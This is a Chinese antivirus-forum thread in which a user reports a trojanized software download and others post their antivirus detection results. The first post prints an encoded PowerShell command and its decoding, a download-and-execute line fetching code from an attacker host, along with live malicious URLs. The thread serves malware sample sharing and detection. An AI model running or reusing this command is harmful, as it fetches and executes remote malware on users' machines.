查看: 1830|回复: 18
收起左侧

[病毒样本] 绑马样本

[复制链接]
hahiru
发表于 2021-9-8 19:27:37 | 显示全部楼层 |阅读模式
绑马地址:

https://www.weidown.com/fuwuqilei/3819.html
----------------------

双击加入任务计划。
半小时后执行powershell -ep bypass -e SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBpAHAALgBpAGMAdQBkAG8AbQBhAGkAbgAuAGkAYwB1ACcAKQApAA==
执行时火绒报不安全的命令。

----------------------
转码为

IEX((new object net.webclient).downloadstring('http://ip.searchnowm.club'))

-----------------------
访问后是

http://new.aigpuco.club/cs.jpg
----------------------
火绒报毒。


狂欢...
发表于 2021-9-8 19:38:35 | 显示全部楼层

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
琳辰
发表于 2021-9-8 19:41:13 | 显示全部楼层
本帖最后由 琳辰 于 2021-9-8 19:51 编辑

To ESET.

VirusTotal: 11/58
Behavioral report by Hatching Triage

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
心心相印
发表于 2021-9-8 19:43:23 | 显示全部楼层
本帖最后由 心心相印 于 2021-9-8 20:54 编辑

还在沙盒里,红伞就kill了。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
wh759626933
发表于 2021-9-8 19:43:48 | 显示全部楼层
norton

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
aboringman
发表于 2021-9-8 19:46:56 | 显示全部楼层
Norton:All

  1. 2021/9/8 19:42:17,高,检测到 proxycap.5.xx.32bit-patch.exe (Heur.AdvML.B) (检测方: 自动防护),已隔离,已解决 - 不需要操作,已执行 威胁 操作: 1
  2. 2021/9/8 19:42:16,高,检测到 proxycap.5.xx.64bit-patch.exe (Heur.AdvML.B) (检测方: 自动防护),已隔离,已解决 - 不需要操作,已执行 威胁 操作: 1
  3. 2021/9/8 19:42:16,高,检测到 proxycap.5.xx.64bit-patch.exe (Trojan.Gen.MBT) (检测方: 自动防护),已隔离,已解决 - 不需要操作,已执行 威胁 操作: 1
  4. 2021/9/8 19:42:16,高,检测到 proxycap.5.xx.32bit-patch.exe (Trojan.Gen.MBT) (检测方: 自动防护),已隔离,已解决 - 不需要操作,已执行 威胁 操作: 1
  5. 2021/9/8 19:40:58,高,检测到 pcap535.exe (Heur.AdvML.B) (检测方: 自动防护),已隔离,已解决 - 不需要操作,已执行 威胁 操作: 1
复制代码
anthonyqian
发表于 2021-9-8 19:49:21 | 显示全部楼层
ESET 报了2个hacktools

proxycap.5.xx.32bit-patch.exe;Win32/HackTool.Patcher.AD 潜在的不安全应用程序 的变量
还有一个64位的

hipoxiaxxx
发表于 2021-9-8 20:06:26 | 显示全部楼层
本帖最后由 hipoxiaxxx 于 2021-9-8 20:11 编辑

百度都入库了2x,剩余两个一个是压缩包一个是慧眼杀的
深信服2x,   均为  Trojan.Win32.Save.a
飞塔1x,W32/CoinMiner
应该有一个挖矿

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
hipoxiaxxx
发表于 2021-9-8 20:13:26 | 显示全部楼层
心心相印 发表于 2021-9-8 19:43
还在沙盒里,红伞就kill了。

你下错了,你应该点了高速下载,看着报毒名都知道
心心相印
发表于 2021-9-8 20:13:56 | 显示全部楼层
hipoxiaxxx 发表于 2021-9-8 20:13
你下错了,你应该点了高速下载,看着报毒名都知道

我点的普通下载,连缓存都报了。
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-3-29 03:23 , Processed in 0.140021 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表